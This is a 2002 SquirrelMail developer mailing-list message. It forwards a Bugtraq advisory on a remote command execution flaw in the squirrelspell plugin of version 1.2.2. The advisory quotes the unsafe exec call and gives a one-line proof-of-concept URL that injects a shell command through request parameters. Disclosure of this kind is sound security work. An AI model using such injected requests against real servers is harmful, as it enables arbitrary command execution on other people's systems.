[SM-DEVEL] [Fwd: squirrelmail bug]

[Pat W. <pat...@ve...>]

Has anyone on the list besides me seen this?
Was anyone notified about this before it was posted
to the bugtraq list?

--Pat

-------- Original Message --------
Subject: squirrelmail bug
From: <app...@bs...>
Date: Thu, January 24, 2002 9:55
To: bu...@se...


Squirrelmail remote execute commands bug

Version Affected :
1.2.2

Squirrelmail is a webmail system, which allows users to send, get, read
etc. mails. It has some themes, plugins etc. One of the plugins has a
very  interesting piece of code :

from file check_me.mod.php :

$sqspell_command = $SQSPELL_APP[$sqspell_use_app];
...
$floc = "$attachment_dir/$username_sqspell_data.txt");
...
exec ("cat $floc | $sqspell_command", $sqspell_output);


Everything should be ok, but where this page includes config files, where
 are defined $attachment_dir and others ? Answer: Nowhere. We can set up
variables $sqspell_command and $floc. Result ? We can execute any command
of course as a http serwer owner.

Exploit :

host/plugins/squirrelspell/modules/check_me.mod.php?SQSPELL_APP[blah]=wall%
20hello&sqspell_use_app=blah&attachment_dir=/tmp&username_sqspell_data=plik

<app...@bs...>


-----------------------------
Patrick T. Winn
President - VelociByte, Inc.
http://www.velocibyte.com
-----------------------------